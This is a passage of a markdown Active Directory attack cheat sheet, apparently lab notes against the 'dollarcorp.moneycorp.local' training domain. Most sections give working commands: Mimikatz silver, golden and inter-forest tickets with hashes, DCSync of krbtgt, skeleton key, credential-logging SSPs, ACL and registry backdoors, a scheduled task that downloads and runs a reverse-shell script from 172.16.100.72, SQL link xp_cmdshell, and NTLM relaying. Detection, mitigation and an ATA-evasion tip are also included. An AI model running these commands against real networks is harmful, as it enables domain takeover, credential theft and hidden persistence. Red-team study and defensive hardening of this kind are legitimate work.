Invoke-Mimikatz -Command '"kerberos::golden /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /target:dcorp-dc.dollarcorp.moneycorp.local /user:Administrator /service:CIFS /rc4:d32ef7a25657da14a143e0185488a1a3 /aes128:AES128KEY /aes256:AES256KEY /ptt"'

# Get shell through PsExec
.\PsExec.exe -AcceptEULA \\dcorp-dc.dollarcorp.moneycorp.local cmd
```

## Getting Command Execution

### Scheduled Tasks through HOST Service

```powershell
# Create silver ticket for the HOST SPN which will allow us to schedule a task on the target
Invoke-Mimikatz -Command '"kerberos::golden /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /target:dcorp-dc.dollarcorp.moneycorp.local /user:Administrator /service:HOST /rc4:d32ef7a25657da14a143e0185488a1a3 /ptt"'

# Create scheduled task
schtasks /create /S dcorp-dc.dollarcorp.moneycorp.local /SC Weekly /RU "NT Authority\SYSTEM" /TN "STCheck" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.72/Invoke-PowerShellTcp.ps1''')'"

# Run task on the target
schtasks /Run /S dcorp-dc.dollarcorp.moneycorp.local /TN "STCheck"

# Clean Up
schtasks /delete /tn "STCheck" /s dcorp-dc.dollarcorp.moneycorp.local /f
```

### WMI

```powershell
# Create two tickets - one for HOST service and another for RPCSS
Invoke-Mimikatz -Command '"kerberos::golden /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /target:dcorp-dc.dollarcorp.moneycorp.local /user:Administrator /service:HOST /rc4:d32ef7a25657da14a143e0185488a1a3 /ptt"'
Invoke-Mimikatz -Command '"kerberos::golden /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /target:dcorp-dc.dollarcorp.moneycorp.local /user:Administrator /service:RPCSS /rc4:d32ef7a25657da14a143e0185488a1a3 /ptt"'

# Run WMI commands on DC
Get-WmiObject -Class win32_operatingsystem -ComputerName dcorp-dc.dollarcorp.moneycorp.local
```

## Detection

* Event IDs:
  * 4624: Account Logon
  * 4634: Account Logoff
  * 4672: Admin Logon

```powershell
Get-WinEvent -FilterHashtable @{Logname='Security';ID=4672} -MaxEvents 1 | Format-List -Property *
```


# ACL Attacks

## AdminSDHolder

### General

* Resides in the System container of a domain
* Used to control the permissions - using an ACL - for certain built-in privileged groups (called Protected Groups)
* Security Descriptor Propagator (SDPROP) runs every hour and compares the ACL of protected groups and members with the ACL of `AdminSDHolder`
* Any differences are overwritten on the object ACL
* Protected groups
  * Domain Admins
  * Enterprise Admins
  * Domain Controllers
  * Read-only Domain Controllers
  * Schema Admins
  * Administrators
  * Account Operators
  * Backup Operators
  * Server Operators
  * Print Operators
  * Replicator

#### Protected Groups Abuse (All of the below Can Log on Locally to DC)

| Group             | Permissions                                                                         |
| ----------------- | ----------------------------------------------------------------------------------- |
| Account Operators | Cannot modify DA/EA/BA groups. Can modify nested group within these groups.         |
| Backup Operators  | Backup GPO, edit to add SID of controlled account to a privileged group and Restore |
| Server Operators  | Run a command as system (using the disabled Browser service)                        |
| Print Operators   | Copy `ntds.dit` backup, load device drivers                                         |

### Exploitation

* With DA privileges (Full Control/Write permissions) on the `AdminSDHolder` object, it can be used as a backdoor/persistence mechanism by adding a user with Full Permissions (or other interesting permissions) to the `AdminSDHolder` object
* In 60 minutes (when `SDPROP` runs), the user will be added with Full Control to the AC of groups like Domain Admins without actually being a member of it

```powershell
# Add FullControl permission for a user to the AdminSDHolder using PowerView as DA
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName student572 -Rights All -Verbose

# Using AD Module and Set-ADACL
Set-ADACL -DistinguishedName 'CN=AdminSDHolder,CN=System,DC=dollarcorp,DC=moneycorp,DC=local' -Principal student572 -Verbose

# Other interesting permissions (ResetPassword, WriteMembers) for a user to the AdminSDHolder
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName student572 -Rights ResetPassword -Verbose
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName student572 -Rights WriteMembers -Verbose

# Run SDProp manually using Invoke-SDPropagator.ps1 to apply permissions immediately
Invoke-SDPropagator -timeoutMinutes 1 -showProgress -Verbose

# For Server 2008 and older
Invoke-SDPropagator -taskName FixUpInheritance -timeoutMinutes 1 -showProgress -Verbose

# Check the Domain Admins permission as normal user
# With PowerView
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{ $_.IdentityReference -match 'student572' }

# Using AD Module
(Get-Acl -Path 'AD:\CN=Domain Admins,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local').Access | ?{ $_.IdentityReference -match 'student572' }
```

#### Abusing FullControl Rights

```powershell
# Using PowerView_dev
Add-DomainGroupMember -Identity "Domain Admins" -Members testda -Verbose

# Using AD Module
Add-ADGroupMember -Identity "Domain Admins" -Members testda
```

#### Abusing ResetPassword Rights

```powershell
# Using PowerView_dev
Set-DomainUserPassword -Identity testda -AccountPassword (ConvertTo-SecureString "Password@123" -AsPlainText -Force) -Verbose

# Using AD Module
Set-ADAccountPassword -Identity testda -NewPassword (ConvertTo-SecureString "Password@123" -AsPlainText -Force) -Verbose
```

## Rights Abuse

### General

* Add useful rights to domain user
* With DA privileges we can modify the ACL for the domain root to provide
  * FullControl
  * Ability to run DCSync

### Exploitation

#### FullControl Rights

```powershell
# Using PowerView
Add-Object -TargetDistinguishedName 'DC=dollarcorp,DC=moneycorp,DC=local' -PrincipalSamAccountName student572 -Rights "All" -Verbose

# Using AD Module
Set-ADACL -TargetDistinguishedName 'DC=dollarcorp,DC=moneycorp,DC=local' -Principal student572 -Verbose

# Add new Domain Admin
# Using PowerView_dev
Add-DomainGroupMember -Identity "Domain Admins" -Members testda -Verbose

# Using AD Module
Add-ADGroupMember -Identity "Domain Admins" -Members testda
```

#### DCSync Rights

```powershell
# Confirm if user already has DCSync rights with PowerView
Get-ObjectAcl -DistinguishedName 'DC=dollarcorp,DC=moneycorp,DC=local' -ResolveGUIDs | ?{ ($_.IdentityReference -match "student572") -and (($_.ObjectType -match 'replication') -or ($_.ActiveDirectoryRights -match "GenericAll")) }

# Using PowerView
Add-ObjectAcl -TargetDistinguishedName 'DC=dollarcorp,DC=moneycorp,DC=local' -PrincipalSamAccountName "student572" -Rights "DCSync" -Verbose

# Using AD Module
Set-ADACL -TargetDistinguishedName 'DC=dollarcorp,DC=moneycorp,DC=local' -Principal student572 -GUIDRight "DCSync" -Verbose

# Execute DCSync to dump hash for krbtgt account
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'
```

#### ResetPassword Rights

```powershell
# Using PowerView
Add-ObjectAcl -TargetADSprefix 'DC=dollarcorp,DC=moneycorp,DC=local' -PrincipalSamAccountName student572 -Rights "ResetPassword" -Verbose

# Using AD Module
Set-ADACL -TargetDistinguishedName 'DC=dollarcorp,DC=moneycorp,DC=local' -Principal student572 -GUIDRight "ResetPassword" -Verbose

# Reset password for account
# Using PowerView_dev
Set-DomainUserPassword -Identity testda -AccountPassword (ConvertTo-SecureString "Password@123" -AsPlainText -Force) -Verbose

# Using AD Module
Set-ADAccountPassword -Identity testda -NewPassword (ConvertTo-SecureString "Password@123" -AsPlainText -Force) -Verbose
```

#### WriteMembers Rights

```powershell
# Using PowerView
Add-ObjectAcl -TargetADSprefix 'DC=dollarcorp,DC=moneycorp,DC=local' -PrincipalSamAccountName student572 -Rights "WriteMembers" -Verbose

# Using AD Module
Set-ADACL -TargetDistinguishedName 'DC=dollarcorp,DC=moneycorp,DC=local' -Principal student572 -GUIDRight "WriteMembers" -Verbose
```

## Security Descriptors

### General

* It's possible to modify Security Descriptors (security information like Owner, primary group, DACL and SACL) of multiple remote access methods (secureable objects to allow access to non-admin users)
* Admin privileges required
* Security Description Definition Language defines format for Security Descriptors
* SDDL uses ACE strings for DACL and SACL

```powershell
ace_type;ace_flags;rights;object_guid;inherit_object_guid;account_sid
```

* ACE for built-in administrators for WMI namespaces

```powershell
A;CI;CCDCLCSWRPWPRCWD;;;SID
```

### Exploitation

Using samratashok's [RACE.ps1](https://github.com/samratashok/RACE)

#### WMI

Modify ACLs to allow non-admin users access to securable objects

```powershell
# On local machine for user
Set-RemoteWMI -SamAccountName student572 -Verbose

# On remote machine for user without explicit credentials
Set-RemoteWMI -SamAccountName student572 -ComputerName dcorp-dc -Namespace "root\cimv2" -Verbose

# On remote machine with explicit credentials. Only root\cimv2 and nested namespaces
Set-RemoteWMI -SamAccountName student572 -ComputerName dcorp-dc -Credential Administrator -Namespace "root\cimv2" -Verbose

# Remove permission on remote machine
Set-RemoteWMI -SamAccountName student572 -ComputerName dcorp-dc -Namespace "root\cimv2" -Remove -Verbose
```

#### PowerShell Remoting

Enable PS Remoting

```powershell
# On local machine
Set-RemotePSRemoting -SamAccountName student572 -Verbose

# On remote machine without credentials
Set-RemotePSRemoting -SamAccountName student572 -ComputerName dcorp-dc -Verbose

# Remove permission on remote machine
Set-RemotePSRemoting -SamAccountName student572 -ComputerName dcorp-dc -Remove -Verbose
```

#### Remote Registry

Remote registry changes and backdoors

```powershell
# With admin privs on remote machine, create backdoor
Add-RemoteRegBackdoor -ComputerName dcorp-dc -Trustee student572 -Verbose

# As student572, retrieve machine account hash
Get-RemoteMachineAccountHash -ComputerName dcorp-dc -Verbose

# Retrieve local account hash
Get-RemoteLocalAccountHash -ComputerName dcorp-dc -Verbose

# Retrieve domain cached credentials
Get-RemoteCachedCredential -ComputerName dcorp-dc -Verbose
```

## Detection

* Events (Audit Policy for object must be enabled)
  * 4662: An operation was performed on an object
  * 5136: A directory service object was modified
  * 4670: Permissions on an object were changed
* Useful tools:
  * Bloodhound
  * [AD ACL Scanner](https://github.com/canix1/ADACLScanner) - Create and compare reports of ACLs


# Custom SSPs

## General

* A Security Support Provider (SSP) is a DLL which provides ways for an application to obtain an authenticated connection
* Some SSP packages by Microsoft are
  * NTLM
  * Kerberos
  * Wdigest
  * CredSSP
* Mimikatz provdes custom SSP - mimilib.dll
* This SSP logs local logons, service account and machine aacount passwords in clear text on the target server

## Exploitation

```powershell
# First way: drop mimilib.dll to system32 and add mimilib to HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages
$packages = Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\ -Name 'Security Packages' | Select -ExpandProperty 'Security Packages'
$packages += "mimilib"
Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\ -Name 'Security Packages' -Value $packages
Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\ -Name 'Security Packages' -Value $packages

# Second way: using mimikatz to inject into lsass (unstable with Server 2016)
Invoke-Mimikatz -Command '"misc::memssp"'

# All logons on the DC are logged to C:\Windows\system32\kiwissp.log
Get-Content C:\Windows\system32\kiwissp.log
```

## Detection

* Event IDs:
  * 4657: Audit creation/change of HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\SecurityPackages
  * 4624: Account Logon
  * 4634: Account Logoff
  * 4672: Admin Logon


# DC Shadow


# Skeleton Key

## General

* Patch a Domain Controller (lsass process) so that it allows access as any user with a single password
* Discovered in malware named Skeleton Key malware
* All publicly known methods are NOT persistent accross reboots
* Mimikatz to the rescue

## Exploitation

```powershell
# Inject skeleton key on DC of choice with default password of 'mimikatz'. DA privs required
Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"' -ComputerName dcorp-dc.dollarcorp.moneycorp.local

# If lsass is running as procted process we can still use Skeleton Key but it needs the mimikatz driver (mimidriv.sys) on disk of target DC. Very noisy!
mimikatz # privilege::debug
mimikatz # !+
mimikatz # !processprotect /process:lsass.exe /remove
mimikatz # misc::skeleton
mimikatz # !-

# Access machine with valid username
Enter-PSSession -ComputerName dcorp-dc -Credential dcorp\administrator
```

## Detection

* Events:
  * 7045: A service was installed in the system (Type: Kernel Mode Driver)
  * 4624: Account Logon
  * 4634: Account Logoff
  * 4672: Admin Logon
* Events("Audit Privilege Use" must be enabled)
  * 4673: Sensitive Privilege Use
  * 4611: A trusted logon process has been registered with the Local Security Authority

```powershell
Get-WinEvent -FilterHashtable @{Logname='Security';ID=7045} | ?{$_.message -like "*Kernel Mode Driver*"}

# Not recommended (detects only stock mimidriv)
Get-WinEvent -FilterHashtable @{Logname='Security';ID=7045} | ?{$_.message -like "*Kernel Mode Driver*" -and $_.message -like "*mimidrv*"}
```

## Mitigation

* Run lsass.exe as a protected process, as it forces an attacker to load a kernel mode driver -> log detection
* Test before implementing, as many drivers and plguins may not load with the protection

```powershell
New-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\ -Name RunAsPPL -Value 1 -Verbose

# Verify after reboot
Get-WinEvent -FilterHashtable @{Logname='Security';ID=12} | ?{$_.message -like "*protected process*"}
```


# DSRM

## General

* DSRM is Directory Services Restore Mode
* There is a local administrator on every DC called "Administrator" whose password is the DSRM password
* DSRM password (SafeModePassword) is required when a server is promoted to a DC and it is rarely changed
* After altering the configuration on the DC, it is possible to pass the NTLM hash of this user to access the DC

## Exploitation

```powershell
# Dump DSRM password (needs DA privs)
Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"' -ComputerName dcorp-dc

# Compare the Administrator hash with the Administrator hash of below command
# The first on is the DSRM local Administrator
Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -ComputerName dcorp-dc

# Need to change Logon Behavior for DSRM account before we can pass the hash to login
Enter-PSSession -ComputerName dcorp-dc
New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD

# Pass the hash to login
Invoke-Mimikatz -Command '"sekurlsa::pth /domain:dcorp-dc /user:Administrator /ntlm:a102ad5753f4c441e3af31c97fad86fd /run:powershell.exe"'

# Check if we can access the DC
ls \\dcorp-dc\c$

# Get shell
.\PsExec.exe -accepteula \\dcorp-dc cmd.exe
```

## Detection

* Event IDs:
  * 4657: Audit creation/change of HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\ DsrmAdminLogonBehavior
  * 4624: Account Logon
  * 4634: Account Logoff
  * 4672: Admin Logon


# Trust Attacks


# Cross Domain Attacks

## General

* Domains in the same forest have an implicit two-way trust relationship
* There is a trust key between the parent and child domains
* There are two ways of escalating privileges between two domains of the same forest
  * Krbtgt hash
  * Trust tickets

### Authentication Process for Resource in Different Domain

1. Client requests TGT from DC in own domain
2. DC sends back TGT
3. Client shows TGT when requesting TGS for resource in another domain
4. DC checks global catalog and finds resource in another domain
5. DC sends back inter-realm TGT encrypted with Trust Key
6. Client sends inter-realm TGT when requesting TGS for resource to DC of target domain
7. DC checks if trust key is valid
8. If yes, sends back TGS
9. Client presents TGS when accessing target resource
10. Target resource checks if client can access resource

## Exploitation

### Child to Forest Root Using Trust Key

* Vulnerable step here is step 6, sending the TGT encrypted with trust key
* If we have the trust key, we can forge a ticket
* Escalate privileges from Domain Admin in current domain to Enterprise Admin or DA in forest root

#### Arguments

| Argument                                          | Description                                                                                                                                           |
| ------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------- |
| kerberos::golden                                  | Module name                                                                                                                                           |
| /domain:domain:dollarcorp.moneycorp.local         | FQDN of current domain                                                                                                                                |
| /sid:S-1-5-21-1874506631-3219952063-538504511     | SID of the currentdomain                                                                                                                              |
| /User:Administrator                               | User to impersonate                                                                                                                                   |
| /target:moneycorp.local                           | FQDN of the target/parent domain                                                                                                                      |
| /sids:S-1-5-21-280534878-1496970234-700767426-519 | SID of the Enterprise Admins group of the parent/target domain                                                                                        |
| /rc4:200a7dab8e762344bd76a62acac42568             | RC4 hash of the trust key                                                                                                                             |
| /ticket:trust\_tgt.kirbi                          | Save ticket to file for later use                                                                                                                     |
| /startoffset:0                                    | Optional when the ticket is available (default 0 right now) in minutes. Use negative for a ticket available from past and a larger number for future. |
| /endin:600                                        | Optional ticket lifetime (default is 10 years) in minutes. The default AD setting is 10 hours = 600 minutes                                           |
| /renewmax:10080                                   | Optional ticket lifetime with renewal (default is 10 years) in minutes. The default AD setting is 7 days = 100800                                     |
| /ptt                                              | Inject ticket in current PowerShell process                                                                                                           |

#### Commands

```powershell
# Dump trust key from DC with mimikatz
# Look for [In] trust key from child to parent
Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dcorp-dc
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\mcorp$"'

# Get SID of Enterprise Admins Group using PowerView 3.0
Get-DomainGroup -Domain moneycorp.local "Enterprise Admins" | Select objectsid

# Forge inter-realm TGT
Invoke-Mimikatz -Command '"kerberos::golden /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /user:Administrator /target:moneycorp.local /sids:S-1-5-21-280534878-1496970234-700767426-519 /rc4:200a7dab8e762344bd76a62acac42568 /service:krbtgt /ticket:trust_key_tgt.kirbi"'

# Use inter-realm ticket to get and use TGS for CIFS service on DC of the parent domain
.\Rubeus.exe asktgs /ticket:trust_key_tgt.kirbi /service:cifs/mcorp-dc.moneycorp.local /dc:mcorp-dc.moneycorp.local /ptt

# Check access
ls \\mcorp-dc.moneycorp.local\c$
```

### Child to Forest Root Using Krbtgt Hash

* Same principle as using trust key
* But: no need to explicitly request TGS for specific service
* Works like golden ticket

```powershell
# Dump krbtgt hash with DA privileges
Invoke-Mimikatz -Command '"lsadump::lsa /patch"'
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'

# Forge inter-realm TGT
Invoke-Mimikatz -Command '"kerberos::golden /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /user:Administrator /sids:S-1-5-21-280534878-1496970234-700767426-519 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /ticket:trust_krbtgt_tgt.kirbi"'

# Avoid suspicious logs by using SID of Domain Controllers and Enterprise Domain Controllers
# S-1-5-21 = Domain Controllers
# S-1-5-9  = Enterprise Domain Controllers
Invoke-Mimikatz -Command '"kerberos::golden /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /user:dcorp-dc$ /sids:S-1-5-21-280534878-1496970234-700767426-516,S-1-5-9 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /ticket:trust_krbtgt_tgt.kirbi"'

# Inject ticket into session
Invoke-Mimikatz -Command '"kerberos::ptt trust_krbtgt_tgt.kirbi"'
```


# Cross Forest Attacks

## General

* Same attack flow as with cross-domain attacks
* But: trust between forest must be established manually
* No implicit trust
* Cannot abuse SID because of SID filtering
* We only get the privileges the user we are impersonating has in the target forest

## Exploitation

```powershell
# Get trust key for the inter-forest trust
Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dcorp-dc
Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -ComputerName dcorp-dc
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\ecorp$"'

# Forge inter-forest TGT
Invoke-Mimikatz -Command '"kerberos::golden /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /user:Administrator /target:eurocorp.local /rc4:9a3dafc4139bc3fb7b6dade2a35d6f74 /service:krbtgt /ticket:forest_tgt.kirbi"'

# Request and inject TGS for CIFS service using Rubeus
.\Rubeus.exe asktgs /ticket:forest_tgt.kirbi /service:cifs/eurocorp-dc.eurocorp.local /dc:eurocorp-dc.eurocorp.local /ptt

# Check access
ls \\eurocorp-dc.eurocorp.local\SharedWithDCorp\
```

## Mitigation

### SID Filtering

* Avoid attacks which abuse SID history attribute across forest trust
* Enabled by default on all inter forest trusts. Intra forest trusts are assumed secured by default (MS considers forest and not the domain to be a security boundary)
* But, since SID filtering has potential to break applications and user access, it is often disabled

### Selective Authentication

* If configured in an inter-forest trust, users between trusts will not be automatically authenticated
* Invididual access to domains and servers in the trusting domain/forest should be given


# MSSQL Servers

## General

* Generally deployed in a lot of Windows domains
* Good option for lateral movement as domain users can be mapped to database roles
* We can use [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL) for exploitation
* [Cheatsheet](https://github.com/NetSPI/PowerUpSQL/wiki/PowerUpSQL-Cheat-Sheet)

## Exploitation

### Enumeration

```powershell
# Discovery (SPN Scanning)
Get-SQLInstanceDomain

# Check accessibility
Get-SQLConnectionTestThreaded
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose

# Gather information
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
```

### Database Links

* Database link allows a SQL Server to access exteranl data sources like other SQL server and OLE DB data sources
* For links between SQL servers, we can exectue stored procedures
* Links work across forest trusts

#### Using PowerUpSQL

```powershell
# Look for links to remote server
Get-SQLServerLink -Instance dcorp-mssql -Verbose

# Enumerate database links
Get-SQLServerLinkCrawl -Instance dcorp-mssql -Verbose

# Execute commands
Get-SQLServerLinkCrawl -Instance dcorp-mssql -Query "exec master..xp_cmdshell 'whoami'"
```

#### Using SQL Queries

```sql
/* Enumerate database links */
select * from master..sysservers

/* Run queries on a linked database through OpenQuery() */
select * from openquery("dcorp-sql1", "select * from master..sysservers")

/* Chain queries to access nested links */
select * from openquery("dcorp-sql", 'select * from openquery("dcorp-mgmt", "select * from master..sysservers")')

/* Enable xp_cmdshell */
EXECUTE('sp_configure "xp_cmdshell",1;reconfigure;') AT "eu-sql"

/* Execute commands using nested link queries */
select * from openquery("dcorp-sql1", 'select * from openquery("dcorp-mgmt", "select * from openquery("eu-sql.eu.eurocorp.local", ""select @@version as version; exec master..xp_cmdshell "powershell whoami)"")")')
```


# MITM & Relay Attacks


# LLMNR Poisoning

## What is LLMNR?

* Used to identify hosts when DNS fails
* Previously known as NBT-NS
* Key flaw: services utilize a user's username and NTLMv2 hash when appropriately responded too

## Attack Flow

* Trick victim into connecting to malicious server under our control
* Capture hash
* Service name cannot be resolvable over DNS

## Exploitation

```bash
# Run responder
python responder.py -I tun0 -rdwv

# Crack hash with hashcat
hashcat -a 0 -m 5600 hashes.txt rockyou.txt
```

## Mitigation

* Disable LLMNR and NBT-NS
* If the functions can't be disabled, then
  * require Network Access Control
  * require strong password policy


# SMB Relay

## What is SMB Relay?

* Capture hashes
* Relay them to other hosts to authenticate
* No need to crack hashes with hashcat

## Requirements

* SMB signing must be disabled on the target
* SMB signing checks authenticity of SMB packets
* Relayed user credentials must be admin on target machine

## Exploitation

```bash
# Discover hosts with SMB signing disabled
python RunFinger.py -i 10.0.0.2/24
nmap --script=smb2-security-mode -p 445 -v 10.10.10.0/24

# Turn off HTTP and SMB in Responder.conf
nvim Responder.conf

# Start responder
python Responder.py -I tun0 -rdwv

# Set up relay

# Target specific host
python MultiRelay.py -t 10.0.2.4 -u ALL

# Target multiple hosts

# Dump SAM hive
python ntlmrelayx.py -tf targets.txt -smb2support

# Interactive SMB shell
python ntlmrelayx.py -tf targets.txt -smb2support -i
nc 127.0.0.1 11000

# Execute command
python ntlmrelayx.py -tf targets.txt -smb2support -c "whoami"

# Execute binary
python ntlmrelayx.py -tf targets.txt -smb2support -e "shell.exe"
```

## Mitigation

* Enable SMB signing on all devices (may cause performance issues with file copies)
* Disable NTLM authentication on the network but Windows can default back to it if Kerberos stops working
* Account tiering: limit domain admins to specific tasks
* Local admin restriction (can increase service deskt tickets)


# IPv6 Attacks

## Overview

* If both IPv4 and IPv6 are enabled and v4 is the main protocol, DNS for v6 is not configured
* Attacker can impersonate IPv6 DNS server
* Capture authentication requests to DC via LDAP or SMB
* LDAP relay via NTLM

## Exploitation

### Set Up mitm6

```bash
git clone https://github.com/fox-it/mitm6 /opt/mitm6
cd /opt/mitm6
pip3 install -r requirements.txt
python3 setup.py install
```

### IPv6 DNS Takeover via mitm6

```bash
# Run mitm6
mitm6 -d domain.local

# Set up relay against DC
ntlmrelayx.py -6 -t ldaps://192.168.31.10 -wh fakepad.marvel.local -l lootme
```

## Mitigation

* Block DHCPv6 traffic and incoming router advertisements in Windows Firewall via Group Policy
* Disable WPAD if it's not used via Group Policy
* Enable LDAP signing and LDAP channel binding
* Add Administrative users to the `Protected Users` group or marking them as sensitive and cannot be delegated to prevent impersonation of that user via delegation


# Detection & Defense


# Domain Admins

## General Mitigations

* Do not allow or limit login of DAs to any other machine other than the Domain Controllers
* If logins to some servers are necesarry, do not allow other administrators to login to that machine
* Never run a service with Domain Admin privileges as it makes many credential theft protections useless in case of a service account

## Temporary Group Membership

* Temporarily add user to a group
* Requires `Privileged Access Management` Feature to be enabled which can't be turned off later

```powershell
Add-ADGroupMember -Identity 'Domain Admins' -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)
```


# Architectural Changes

## LAPS - Local Administrator Password Solution

* Centralized storage of passwords in AD with periodic randomizing where read permissions are access controlled
* Computer objects have two new attributes ms mcs AdmPwd attribute stores the clear text password and ms mcs AdmPwdExpirationTime controls the password change
* Storage in clear text, transmission is encrypted
* With careful enumeration, it is possible to retrieve which users can access the clear text password providing a list of attractive targets!

## Credential Guard

* Now called, Windows Defender Credential Guard, it "uses virtualization based security to isolate secrets so that only privileges system software can access them"
* Effective in stopping PTH and Over PTH attacks by restricting access to NTLM hashes and TGTs
* As of Windows 10 1709, it is not possible to write Kerberos tickets to memory even if we have credentials.
* <https://docs.microsoft.com/en-us/windows/access-protection/credential-guard/credential-guard>
* Credentials for local accounts in SAM and Service account credentials from LSA secrets are NOT protected
* Credential Guard cannot be enabled on a domain contorller as it breaks authentication there
* Only available on the Windows 10 Enterprise edition and Server 2016
* Possible to replay service account credenttials for lateral movement even if credential guard is enabled

## Device Guard

* Now called, Windows Defender Device Guard, it is a group of features "designed to harden a system against malware attacks. Its focus is preventing malicious code from running by ensuring only known good code can run."
* Three primary components:
  * Configurable Code Integrity (CCI) Configure only trusted code to run
  * Virtual Secure Mode Protected Code Integirty Enforces CCI with Kernerl Mode (KMCI) and User Mode (UMCI)
  * Platform and UEFI Secure Boot Ensures boot binaries and firmware integrity
* <https://docs.microsoft.com/en-us/windows/security/threat-protection/device-guard/introduction-to-device-guard-virtualization-based-security-and-windows-defender-application-control>
* UMCI is something which interferes with most of the lateral movement attacks we have seen
* While it depends on the deployment (discussing which will be too lengthy), many well known application whitelisting bypasses signed binaries like csc.exe, MSBuild.exe etc. are useful for bypassing UMCI as well

## Protected Users Group

* Introduced in Server 2012 R2 for "better protection against credential theft" by not caching credentials in insecure ways
* A user added to this group:
  * Cannot use CredSSP and WDigest No more cleartext credentials caching
  * NTLM hash is not cached
  * Kerberos does not use DES or RC4 keys. No caching of clear text cred or long term keys.
* If the domain functional level is Server 2012 R2:
  * No NTLM authentication No DES or RC4 keys in Kerberos pre auth
  * No delegation (constrained or unconstrained)
  * No renewal of TGT beyond initial for hour lifetime Hardcoded, unconfigurable "Maximum lifetime for user ticket" and "Maximum lifetime for user ticket
* Needs all domain control to be at least Server 2008 or later (because AES keys)
* Not recommended by MS to add DAs and EAs to this group without testing "the potential impact" of lock out
* No cached logon ie.e no offline sign on
* Having computer and service accounts in this group is useless as their credentials will always be present on the host machine

## Privileged Administrative Workstations (PAWs)

* A hardened workstation for performing sensitive tasks like
  * administration of domain controllers
  * cloud infrastructure
  * sensitive business functions etc.
* Can provide protection from
  * phishing attacks
  * OS vulnerabilities
  * credential replay attacks
* Admin Jump servers to be accessed only from a PAW, multiple strategies
  * Separate privilege and hardware for administrative and normal tasks
  * Having a VM on a PAW for user tasks

## Active Directory Administrative Tier Model

* Composed of three levels only for administrative accounts
* Control restrictions: what admins control
* Logon restrictions: where admins can log-on to

### Tier 0

Accounts, Groups and computers which have privileges across the enterprise like domain controllers, domain admins, enterprise admins

### Tier 1

* Accounts, Groups and computers which have access to resources having significant amount of business value
* A common example role is server administrators who maintain these operating systems with the ability to impact all enterprise services

### Tier 2

* Administrator accounts which have administrative control of a significant amount of business value that is hosted on user workstations and devices
* Examples include Help Desk and computer support administrators because they can impact the integrity of almost any user data

## ESAE (Enhanced Security Admin Environment)

* Dedicated administrative forest for managing critical assets like
  * administrative users
  * groups
  * computers
* Since a forest is considered a security boundary rather than a domain, this model provides enhanced security controls
* The administrative forest is also called the Red Forest
* Administrative users in a production forest are used as standard non privileged users in the administrative forest
* Selective Authentication to the Red Forest enables stricter security controls on logon of users from non-administrative forests

## Further Reading

* [Securing Privileged Access](https://docs.microsoft.com/en-us/security/compass/overview)
* [Best Practices for Securing Active Directory](https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/best-practices-for-securing-active-directory)


# Microsoft ATA

## General

* Traffic destined for Domain Controllers is mirrored to ATA sensors
* Use activity profile is build over time, i.e.
  * use of computers
  * credentials
  * log on machines
* Collects Event 4776 (The DC attempted to validate the credentials for an account) to detect credential replay attacks
* Can detect behavioral anomalies
* Useful for detecting:
  * Recon: account enum, netsession enum
  * Compromised Credentials Attacks: bruteforce, high privilege account/service account exposed in clear text, honey token, unusual protocol (NTLM and Kerberos)
  * Credential/Hash/Ticket Replay attacks

## Bypassing ATA

* Avoid talking to the DC as long as possible
* Try to blend in with normal traffic


